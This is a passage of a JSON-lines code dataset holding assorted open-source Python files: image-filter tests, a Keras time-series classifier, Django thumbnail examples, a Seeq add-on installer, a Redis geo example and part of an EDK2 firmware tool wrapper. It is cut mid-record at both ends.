./exec > valgrind_leak.txt 2>&1')\n mem_leak_dic = extract_valgrind_result('memory_leak', 'valgrind_leak.txt')\n\n\n ret_dict['error'] = 0\n vega_chart = mem_issue_visualize(local_path, uninitialised_buffer, invalid_write_buffer, mem_leak_dic)\n ret_dict['vega_json'] = json.loads(vega_chart.to_json())\n\n return ret_dict\n\n \n", "source": "CMU-IDS-2020/fp-profiler", "license": "BSD-3-Clause"} {"text": "import numpy as np\nfrom numpy.testing import assert_allclose, run_module_suite\nfrom fast_ndimage import (\n median_filter, sobel, convolve, correlate, gaussian_filter,\n gaussian_filter1d, uniform_filter, uniform_filter1d)\n\n\ndef test_median_filter():\n rtol = atol = 1e-7\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape).astype(np.float32)\n\n for mode in ['reflect', ]:\n kwargs = dict(mode=mode, size=3)\n result_ndi = median_filter(x, backend='ndimage', **kwargs)\n result_opencv = median_filter(x, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\ndef test_sobel_filter():\n rtol = atol = 1e-7\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for axis in [0, 1]:\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode, axis=axis)\n result_ndi = sobel(x, backend='ndimage', **kwargs)\n result_opencv = sobel(x, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n axis = 0\n mode = 'reflect'\n for scale in [0.5, 1, 2, None]:\n for delta in [0, 0.5, 2]:\n kwargs = dict(mode=mode, axis=axis, scale=scale, delta=delta)\n result_ndi = sobel(x[:, 0], backend='ndimage', **kwargs)\n result_opencv = sobel(x[:, 0], backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\ndef test_uniform_filter():\n rtol = atol = 1e-7\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode, size=(2, 3))\n result_ndi = uniform_filter(x, backend='ndimage', **kwargs)\n result_opencv = uniform_filter(x, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for squared in [False, True]:\n for normalize in [False, True]:\n kwargs = dict(size=3, mode='reflect', normalize=normalize,\n squared=squared)\n result_ndi = uniform_filter(x, backend='ndimage', **kwargs)\n result_opencv = uniform_filter(x, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for size in [5, (5, 6), (6, 5), 6]:\n for origin in [-2, -1, 0, 1, 2, (0, 0), (1, 1), (0, 1), (2, 1),\n (-1, -2)]:\n kwargs = dict(mode='reflect', size=size, origin=origin)\n result_ndi = uniform_filter(x, backend='ndimage', **kwargs)\n result_opencv = uniform_filter(x, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\ndef test_uniform_filter1d():\n rtol = atol = 1e-7\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n\n size = 3\n for axis in [0, 1, -1]:\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode)\n result_ndi = uniform_filter1d(x, size, axis, backend='ndimage', **kwargs)\n result_opencv = uniform_filter1d(x, size, axis, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for squared in [False, True]:\n for normalize in [False, True]:\n kwargs = dict(mode='reflect', normalize=normalize,\n squared=squared)\n result_ndi = uniform_filter1d(x, size, axis, backend='ndimage', **kwargs)\n result_opencv = uniform_filter1d(x, size, axis, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for origin in [-1, 0, 1]:\n kwargs = dict(mode='reflect', origin=origin)\n result_ndi = uniform_filter1d(x, size, axis, backend='ndimage', **kwargs)\n result_opencv = uniform_filter1d(x, size, axis, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\ndef test_gaussian_filter():\n rtol = atol = 1e-12\n shape = (63, 64)\n sigma = (1.5, 3)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode)\n result_ndi = gaussian_filter(x, sigma, backend='ndimage', **kwargs)\n result_opencv = gaussian_filter(x, sigma, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n mode = 'reflect'\n for truncate in [1, 1.1, 1.5, 2, 4, 5]:\n kwargs = dict(mode=mode, truncate=truncate)\n result_ndi = gaussian_filter(x, sigma, backend='ndimage', **kwargs)\n result_opencv = gaussian_filter(x, sigma, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\ndef test_gaussian_filter1d():\n rtol = atol = 1e-12\n shape = (63, 64)\n sigma = 2.5\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for axis in [0, 1, -1]:\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode)\n result_ndi = gaussian_filter1d(x, sigma, axis, backend='ndimage',\n **kwargs)\n result_opencv = gaussian_filter1d(x, sigma, axis, backend='opencv',\n **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n mode = 'reflect'\n for truncate in [1, 2]:\n kwargs = dict(mode=mode, truncate=truncate, axis=axis)\n result_ndi = gaussian_filter1d(x, sigma, backend='ndimage',\n **kwargs)\n result_opencv = gaussian_filter1d(x, sigma, backend='opencv',\n **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\n\ndef test_convolve():\n rtol = atol = 1e-12\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n weights = rstate.standard_normal((3, 6))\n\n func = convolve\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for delta in [0, -0.5, 2]:\n kwargs = dict(mode='reflect', delta=delta)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for origin in [-1, 0, 1, (0, 0), (1, 1)]:\n kwargs = dict(mode='reflect', origin=origin)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\n# TODO: test threading\n\n\ndef test_correlate():\n rtol = atol = 1e-12\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n weights = rstate.standard_normal((4, 4))\n\n func = correlate\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for delta in [0, -0.5, 2]:\n kwargs = dict(mode='reflect', delta=delta)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for origin in [-1, 0, 1, (0, 0), (1, 1)]:\n kwargs = dict(mode='reflect', origin=origin)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n # TODO: assert_raises ValueError on origin=(-1, 1) etc.\n\n\nif __name__ == \"__main__\":\n run_module_suite()\n", "source": "grlee77/skimage_accel_demos", "license": "BSD-3-Clause"} {"text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 30 20:11:19 2016\n\n@author: stephen\n\"\"\"\n \nfrom __future__ import print_function\n \nfrom keras.models import Model\nfrom keras.utils import np_utils\nimport numpy as np\nimport os\nfrom keras.callbacks import ModelCheckpoint\nimport pandas as pd\nimport sys\nimport keras \nfrom keras.callbacks import ReduceLROnPlateau\n \ndef readucr(filename):\n data = np.loadtxt(filename, delimiter = ',')\n Y = data[:,0]\n X = data[:,1:]\n return X, Y\n \nnb_epochs = 300\n\n\n#flist = ['Adiac', 'Beef', 'CBF', 'ChlorineConcentration', 'CinC_ECG_torso', 'Coffee', 'Cricket_X', 'Cricket_Y', 'Cricket_Z', \n#'DiatomSizeReduction', 'ECGFiveDays', 'FaceAll', 'FaceFour', 'FacesUCR', '50words', 'FISH', 'Gun_Point', 'Haptics', \n#'InlineSkate', 'ItalyPowerDemand', 'Lighting2', 'Lighting7', 'MALLAT', 'MedicalImages', 'MoteStrain', 'NonInvasiveFatalECG_Thorax1', \n#'NonInvasiveFatalECG_Thorax2', 'OliveOil', 'OSULeaf', 'SonyAIBORobotSurface', 'SonyAIBORobotSurfaceII', 'StarLightCurves', 'SwedishLeaf', 'Symbols', \n#'synthetic_control', 'Trace', 'TwoLeadECG', 'Two_Patterns', 'uWaveGestureLibrary_X', 'uWaveGestureLibrary_Y', 'uWaveGestureLibrary_Z', 'wafer', 'WordsSynonyms', 'yoga']\n\nflist = [ sys.argv[1] ] \nfor each in flist:\n fname = each\n x_train, y_train = readucr(fname+'/'+fname+'_TRAIN')\n x_test, y_test = readucr(fname+'/'+fname+'_TEST')\n nb_classes = len(np.unique(y_test))\n batch_size = int(min(x_train.shape[0]/10, 16))\n y_train = (y_train - y_train.min())/(y_train.max()-y_train.min())*(nb_classes-1)\n y_test = (y_test - y_test.min())/(y_test.max()-y_test.min())*(nb_classes-1)\n \n Y_train = np_utils.to_categorical(y_train, nb_classes)\n Y_test = np_utils.to_categorical(y_test, nb_classes)\n \n x_train_mean = x_train.mean()\n x_train_std = x_train.std()\n x_train = (x_train - x_train_mean)/(x_train_std)\n \n x_test = (x_test - x_train_mean)/(x_train_std)\n x_train = x_train.reshape(x_train.shape + (1,))\n x_test = x_test.reshape(x_test.shape + (1,))\n print (\"class:\"+each+\", number of classes: \"+str(nb_classes))\n x = keras.layers.Input(x_train.shape[1:])\n\n# drop_out = Dropout(0.2)(x)\n conv1 = keras.layers.Conv1D(filters=32, kernel_size=8, strides=1, activation='relu', input_shape=(32,1))(x)\n conv1 = keras.layers.normalization.BatchNormalization()(conv1)\n conv1 = keras.layers.Activation('relu')(conv1)\n \n# drop_out = Dropout(0.2)(conv1)\n conv2 = keras.layers.Conv1D(filters=64, kernel_size=5, border_mode='same')(conv1)\n conv2 = keras.layers.normalization.BatchNormalization()(conv2)\n conv2 = keras.layers.Activation('relu')(conv2)\n \n# drop_out = Dropout(0.2)(conv2)\n conv3 = keras.layers.Conv1D(filters=32, kernel_size=3, border_mode='same')(conv2)\n conv3 = keras.layers.normalization.BatchNormalization()(conv3)\n conv3 = keras.layers.Activation('relu')(conv3)\n \n full = keras.layers.pooling.GlobalAveragePooling1D()(conv3) \n out = keras.layers.Dense(nb_classes, activation='softmax')(full)\n \n \n model = Model(input=x, output=out)\n \n optimizer = keras.optimizers.Adam()\n model.compile(loss='categorical_crossentropy',\n optimizer=optimizer,\n metrics=['accuracy'])\n \n reduce_lr = ReduceLROnPlateau(monitor = 'loss', factor=0.5,\n patience=50, min_lr=0.0001)\n# if os.path.isfile(fname+\"_best.hdf5\"):\n# model.load_weights(fname+'_best.hdf5')\n# model.load_weights(fname+'_shapelet_best.hdf5')\n\n checkpointer = ModelCheckpoint(filepath=fname+\"_best.hdf5\",\n monitor = 'val_accuracy',\n verbose=2,\n save_best_only=True)\n\n# hist = model.fit(x_train, Y_train, batch_size=batch_size, epochs=nb_epochs,\n# verbose=1, callbacks=[reduce_lr], validation_data=(x_test, Y_test))\n hist = model.fit(x_train, Y_train, batch_size=batch_size, epochs=nb_epochs,\n verbose=1, callbacks=[checkpointer,reduce_lr], validation_data=(x_test, Y_test))\n\n\n #Print the testing results which has the lowest training loss.\n log = pd.DataFrame(hist.history)\n print (log.loc[log['loss'].idxmin]['loss'], log.loc[log['loss'].idxmin])\n\n", "source": "alexandrefelipemuller/timeseries_shapelet_transferlearning", "license": "Apache-2.0"} {"text": "from django.http import HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.conf import settings\n\nfrom models import ThumbTest\n\nfrom sorethumb.filters.defaultfilters import *\nfrom sorethumb.filters.drawfilters import *\nfrom sorethumb.djangothumbnail import DjangoThumbnail\n\n\nclass SmallThumb(DjangoThumbnail):\n \n filters = [ThumbnailFilter(120, 100)] \n\n\nclass Square(DjangoThumbnail):\n \n filters = [ThumbnailFilter(100, 100),\n SquareFilter(),] \n\n\nclass RoundedCorners5(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(5)] \n \n \nclass RoundedCorners10(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10)] \n \n \nclass RoundedCorners20(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(20)] \n\n \nclass RoundedCornersEdged(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#000')] \n \n\nclass RoundedCornersBackground(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#333'), \n ResizeCanvasFilter(130, 110, '#fff'),\n OpaqueFilter('#fff'),] \n\n\nclass RoundedCornersBackgroundGradient(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#000'), \n ResizeCanvasFilter(130, 110, '#e2e2ff', background_opacity=0),\n VerticalGradientFilter('#fff', '#88e'),] \n\n\nclass MaskThumb(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n ResizeCanvasFilter(120, 100, '#000', background_opacity=0),\n MaskFilter(settings.MEDIA_ROOT+'/alpha.png')] \n\n\nclass GrayThumb(DjangoThumbnail):\n \n filters = [ThumbnailFilter(120, 100),\n GrayscaleFilter()]\n \n \nclass FadedThumb(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n OpacityFilter(.5)] \n \n \nclass OverlayThumb(DjangoThumbnail):\n format = 'png'\n filters = [ThumbnailFilter(120, 100), \n OverlayFilter(settings.MEDIA_ROOT+'/user.png')]\n \n\nthumb_examples = [\n\n {\n 'thumb':'small_thumb',\n 'title':'Basic thumbnail',\n 'description':\"\"\"Here we have a basic thumbnail that uses PIL's thumbnail operation to reduce an image to fit in a defined dimensions.\"\"\",\n \n 'code' : '''class SmallThumb(DjangoThumbnail): \n filters = [ThumbnailFilter(120, 100)]''' \n },\n \n {\n 'thumb':'square',\n 'title':'Square',\n 'description':'As above, but cropped to be square. Since uploaded images can be any old size, they can tend to look ragged when presented in rows. Square thumbs look better in rows, at the expense of a little cropping',\n \n 'code':\"\"\"class Square(DjangoThumbnail): \n filters = [ThumbnailFilter(100, 100),\n SquareFilter()] \"\"\"\n },\n \n {\n 'thumb':'rounded_corners5',\n 'title':'5 pixels rounded corner',\n 'description':\"\"\"Rounded corners without CSS3, on a transparent background. What is it with designers and rounded corners anyway?\"\"\",\n 'code':\"\"\"class RoundedCorners5(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(5)] \"\"\",\n \n },\n \n {\n 'thumb':'rounded_corners10',\n 'title':'10 pixels rounded corner',\n 'description':'As above, but 10 pixels.', \n },\n \n {\n 'thumb':'rounded_corners20',\n 'title':'20 pixels rounded corner',\n 'description':'Even more rounded corners', \n }, \n \n {\n 'thumb':'rounded_corners_edged',\n 'title':'Rounded corners with a border',\n 'description':'The rounded corner filter also supports a coloured border',\n 'code':\"\"\"class RoundedCornersEdged(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#333')]\"\"\", \n },\n \n {\n 'thumb':'rounded_corners_background',\n 'title':\"Rounded corners on an opaque background\",\n 'description':\"Rounded corners on an opaque backround for browsers with poor support for per-pixel transparency — IE6 I'm looking at you!\",\n 'code':\"\"\"class RoundedCornersBackground(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#333'), \n ResizeCanvasFilter(130, 110, '#fff'),\n OpaqueFilter('#fff')] \"\"\"\n },\n\n {\n 'thumb':'rounded_corners_background_gradient',\n 'title':\"Rounded corners on a gadient\",\n 'description':\"As above, but on a gradient background. The vertical gradient filter replaces transparent areas with a smooth gradient between two colours.\",\n 'code':\"\"\"class RoundedCornersBackgroundGradient(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#000'), \n ResizeCanvasFilter(130, 110, '#e2e2ff', background_opacity=0),\n VerticalGradientFilter('#fff', '#88e')] \"\"\"\n },\n \n {'thumb':'mask_thumb',\n 'title':'Masked thumbnail',\n 'description': 'This thumbnail uses MaskFilter which replaces the alpha channel with another image, to create some interesting effects.',\n 'code':\"\"\"class MaskThumb(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n ResizeCanvasFilter(120, 100, '#000', background_opacity=0),\n MaskFilter(settings.MEDIA_ROOT+'/alpha.png')] \n\"\"\"\n },\n\n {\n 'thumb':'gray_thumb',\n 'title':'Grayscale',\n 'description':'A grayscale thumb, could be used as a hover state.',\n 'code':\"\"\"class GrayThumb(DjangoThumbnail): \n filters = [ThumbnailFilter(120, 100),\n GrayscaleFilter()]\"\"\" \n },\n\n {\n 'thumb':'faded_thumb',\n 'title':'50% opacity',\n 'description':'The OpacityFilter sets the opacity of the thumbnail.',\n 'code':\"\"\"class FadedThumb(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n OpacityFilter(.5)] \"\"\" \n },\n\n\n {\n 'thumb':'overlay_thumb',\n 'title':'Thumbnail with overlay',\n 'description':\"\"\"A thumbnail with an overlayed transparent png. Could be used to indicate online status.\"\"\",\n \n 'code' : '''class OverlayThumb(DjangoThumbnail):\n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n OverlayFilter(settings.MEDIA_ROOT+'/user.png')]''' \n },\n\n]\n\ndef examples(request):\n \n context = {'examples':thumb_examples}\n \n if request.method == 'POST': \n thumb = ThumbTest(image_file=request.FILES.get('file')) \n thumb.save()\n \n try:\n dbobject = ThumbTest.objects.all().order_by('-pk')[0]\n except IndexError:\n dbobject = None\n \n context['dbobject'] = dbobject\n \n return render_to_response('thumbs.html',\n context,\n RequestContext(request))\n", "source": "arneb/sorethumb", "license": "BSD-3-Clause"} {"text": "import os\nimport sys\nimport argparse\n\nfrom ._install_addon import install_addon\n\n\ndef cli_interface():\n \"\"\" Installs Seeq Add-on Tool \"\"\"\n parser = argparse.ArgumentParser(description='Install Clustering as a Seeq Add-on Tool')\n parser.add_argument('--username', type=str, default=None,\n help='Username or Access Key of Seeq admin user installing the tool(s) ')\n parser.add_argument('--seeq_url', type=str,\n help=\"Seeq hostname URL with the format https://my.seeq.com/ or https://my.seeq.com:34216\")\n parser.add_argument('--app_url', type=str,\n help=\"URL of clustering app notebook with the format e.g. https://my.seeq.com/data-lab/CBA9A827-35A8-4944-8A74-EE7008DC3ED8/notebooks/hb/seeq/addons/clustering/App.ipynb\")\n parser.add_argument('--users', type=str, nargs='*', default=[],\n help=\"List of the Seeq users to will have access to the Correlation Add-on Tool,\"\n \" default: %(default)s\")\n parser.add_argument('--groups', type=str, nargs='*', default=['Everyone'],\n help=\"List of the Seeq groups to will have access to the Correlation Add-on Tool, \"\n \"default: %(default)s\")\n parser.add_argument('--password', type=str, default=None,\n help=\"Password of Seeq user installing the tool. Must supply a password if not supplying an accesskey for username\")\n parser.add_argument('--sort_key', type=str, default=None,\n help=\"A string, typically one character letter. The sort_key determines the order in which the Add-on Tools are displayed in the tool panel, \"\n \"default: %(default)s\")\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n\n args = cli_interface()\n\n install_addon(\n sort_key=args.sort_key, \n permissions_group=args.groups, \n permissions_users=args.users, \n username=args.username, \n password=args.password\n )", "source": "seeq12/seeq-clustering", "license": "Apache-2.0"} {"text": "import json\n'''\nREAD THE DATABASE README before operating\n'''\nFile = r'''YOUR FILE'''\nwith open(File,'a') as fileObj:\n data = json.load()\n '''\n YOUR DATA LOGIC GOES IN HERE\n Once the data is changed, to write it to your JSON file use the following command.\n '''\n json.dump(object,File)", "source": "AbhijithGanesh/Flask-HTTP-Server", "license": "BSD-3-Clause"} {"text": "from ariadne import MutationType\nfrom datetime import datetime as dt\nfrom models.scope import Scope\nfrom schemas.helpers.normalize import change_keys\nfrom schemas.scope import ScopeCreate\n\n\nmutations_resolvers = MutationType()\n\n\n@mutations_resolvers.field(\"scopeCreate\")\nasync def resolve_scope_create(_, info, scope) -> dict:\n store_data = Scope.get_instance()\n data = ScopeCreate(**scope, key=f'{scope[\"collection\"]}{scope[\"action\"]}')\n normalize = change_keys(data.dict(exclude_none=True), key=\"_key\")\n\n return await store_data.create(normalize)\n", "source": "apoveda25/graphql-python-server", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n\n# !/usr/bin/python\n#\n# example.py\n#\n#\n# Created by vinhntb on 6/27/17.\n# Copyright (c) 2017 geo_redis. All rights reserved.\n\nimport sys\nfrom bunch import Bunch\nfrom constants import GEO_USER_VISITED\nfrom geo_redis.geo_redis import GeoRedis\n\n\ndef add_user_visited():\n user_1 = Bunch(longitude=13.583333, latitude=37.316667, member='101') # The member is user_id\n user_2 = Bunch(longitude=13.361389, latitude=38.115556, member='102') # The member is user_id\n user_3 = Bunch(longitude=13.583433, latitude=37.317667, member='103') # The member is user_id\n user_4 = Bunch(longitude=13.583533, latitude=37.318667, member='104') # The member is user_id\n user_5 = Bunch(longitude=13.583633, latitude=37.318767, member='105') # The member is user_id\n user_6 = Bunch(longitude=13.583733, latitude=37.318867, member='106') # The member is user_id\n user_7 = Bunch(longitude=13.361389, latitude=38.115556, member='107') # The member is user_id\n user_8 = Bunch(longitude=15.087269, latitude=37.502669, member='108') # The member is user_id\n\n redis_instance = GeoRedis()\n redis_instance.geo_add(GEO_USER_VISITED, **user_1)\n redis_instance.geo_add(GEO_USER_VISITED, **user_2)\n redis_instance.geo_add(GEO_USER_VISITED, **user_3)\n redis_instance.geo_add(GEO_USER_VISITED, **user_4)\n redis_instance.geo_add(GEO_USER_VISITED, **user_5)\n redis_instance.geo_add(GEO_USER_VISITED, **user_6)\n redis_instance.geo_add(GEO_USER_VISITED, **user_7)\n redis_instance.geo_add(GEO_USER_VISITED, **user_8)\n\n\ndef get_geo_radius():\n redis_instance = GeoRedis()\n unit = 'm'\n results = redis_instance.geo_radius(name=GEO_USER_VISITED, longitude=13.58, latitude=37.316, radius=500, unit=unit,\n withcoord=True, withdist=True)\n\n \"\"\"The results are in nested array depend of parameters input. At this example, we have parameters:\n withcoord, withdist, withash. So result\n 1) member (user_id) [0]\n 2) distance [1]\n 3) 1) longitude [2][0]\n 2) latitude [2][1]\n \"\"\"\n\n print \"The results: \\n\"\n print \"Total: %s\" % len(results)\n for member in results:\n print '--------------------------------------\\n'\n print \"member: %s \\n\" % member[0]\n print \"distance: %s%s \\n\" % (member[1], unit)\n print \"longitude: %s \\n\" % member[2][0]\n print \"latitude: %s \\n\" % member[2][0]\n\n\ndef main(argv):\n add_user_visited()\n get_geo_radius()\n\n\nif __name__ == '__main__':\n main(sys.argv)\n\n\n\n\n", "source": "vinhntb/geo_redis", "license": "MIT"} {"text": "name = input()\n\nclass_school = 1\nsum_of_grades = 0\nejected = False\nfailed = 0\n\nwhile True:\n grade = float(input())\n if grade >= 4.00:\n sum_of_grades += grade\n if class_school == 12:\n break\n class_school += 1\n else:\n failed += 1\n if failed == 2:\n ejected = True\n break\n\nif ejected:\n print(f\"{name} has been excluded at {class_school} grade\")\nelse:\n average = sum_of_grades / class_school\n print(f\"{name} graduated. Average grade: {average:.2f}\")\n\n", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"} {"text": "## @file\n# This file is used to define the FMMT dependent external tool management class.\n#\n# Copyright (c) 2021-, Intel Corporation. All rights reserved.
\n# SPDX-License-Identifier: BSD-2-Clause-Patent\n##\nimport glob\nimport logging\nimport os\nimport shutil\nimport sys\nimport tempfile\nimport uuid\nfrom edk2basetools.FMMT.PI.Common import *\nfrom edk2basetools.FMMT.utils.FmmtLogger import FmmtLogger as logger\nimport subprocess\n\ndef ExecuteCommand(cmd: list) -> None:\n subprocess.run(cmd,stdout=subprocess.DEVNULL)\n\nclass GUIDTool:\n def __init__(self, guid: str, short_name: str, command: str) -> None:\n self.guid: str = guid\n self.short_name: str = short_name\n self.command: str = command\n\n def pack(self, buffer: bytes) -> bytes:\n \"\"\"\n compress file.\n \"\"\"\n tool = self.command\n if tool:\n tmp = tempfile.mkdtemp(dir=os.environ.get('tmp'))\n ToolInputFile = os.path.join(tmp, \"pack_uncompress_sec_file\")\n ToolOuputFile = os.path.join(tmp, \"pack_sec_file\")\n try:\n file = open(ToolInputFile, \"wb\")\n file.write(buffer)\n file.close()\n command = [tool, '-e', '-o', ToolOuputFile,\n ToolInputFile]\n ExecuteCommand(command)\n buf = open(ToolOuputFile, \"rb\")\n res_buffer = buf.read()\n except Exception as msg:\n logger.error(msg)\n return \"\"\n else:\n buf.close()\n if os.path.exists(tmp):\n shutil.rmtree(tmp)\n return res_buffer\n else:\n logger.error(\n \"Error parsing section: EFI_SECTION_GUID_DEFINED cannot be parsed at this time.\")\n logger.info(\"Its GUID is: %s\" % self.guid)\n return \"\"\n\n\n def unpack(self, buffer: bytes) -> bytes:\n \"\"\"\n buffer: remove common header\n uncompress file\n \"\"\"\n tool = self.command\n if tool:\n tmp = tempfile.mkdtemp(dir=os.environ.get('tmp'))\n ToolInputFile = os.path.join(tmp, \"unpack_sec_file\")\n ToolOuputFile = os.path.join(tmp, \"unpack_uncompress_sec_file\")\n try:\n file = open(ToolInputFile, \"wb\")\n file.write(buffer)\n file.close()\n command = [tool, '-d', '-o', ToolOuputFile, ToolInputFile]\n ExecuteCommand(command)\n buf = open(ToolOuputFile, \"rb\")\n res_buffer = buf.read()\n except Exception as msg:\n logger.error(msg)\n return \"\"\n else:\n buf.close()\n if os.path.exists(tmp):\n shutil.rmtree(tmp)\n return res_buffer\n else:\n logger.error(\"Error parsing section: EFI_SECTION_GUID_DEFINED cannot be parsed at this time.\")\n logger.info(\"Its GUID is: %s\" % self.guid)\n return \"\"\n\nclass GUIDTools:\n '''\n GUIDTools is responsible for reading FMMTConfig.ini, verify the tools and provide interfaces to access those tools.\n '''\n default_tools = {\n struct2stream(ModifyGuidFormat(\"a31280ad-481e-41b6-95e8-127f4c984779\")): GUIDTool(\"a31280ad-481e-41b6-95e8-127f4c984779\", \"TIANO\", \"TianoCompress\"),\n struct2stream(ModifyGuidFormat(\"ee4e5898-3914-4259-9d6e-dc7bd79403cf\")): GUIDTool(\"ee4e5898-3914-4259-9d6e-dc7bd79403cf\", \"LZMA\", \"LzmaCompress\"),\n struct2stream(ModifyGuidFormat(\"fc1bcdb0-7d31-49aa-936a-a4600d9dd083\")): GUIDTool(\"fc1bcdb0-7d31-49aa-936a-a4600d9dd083\", \"CRC32\", \"GenCrc32\"),\n struct2stream(ModifyGuidFormat(\"d42ae6bd-1352-4bfb-909a-ca72a6eae889\")): GUIDTool(\"d42ae6bd-1352-4bfb-909a-ca72a6eae889\", \"LZMAF86\", \"LzmaF86Compress\"),\n struct2stream(ModifyGuidFormat(\"3d532050-5cda-4fd0-879e-0f7f630d5afb\")): 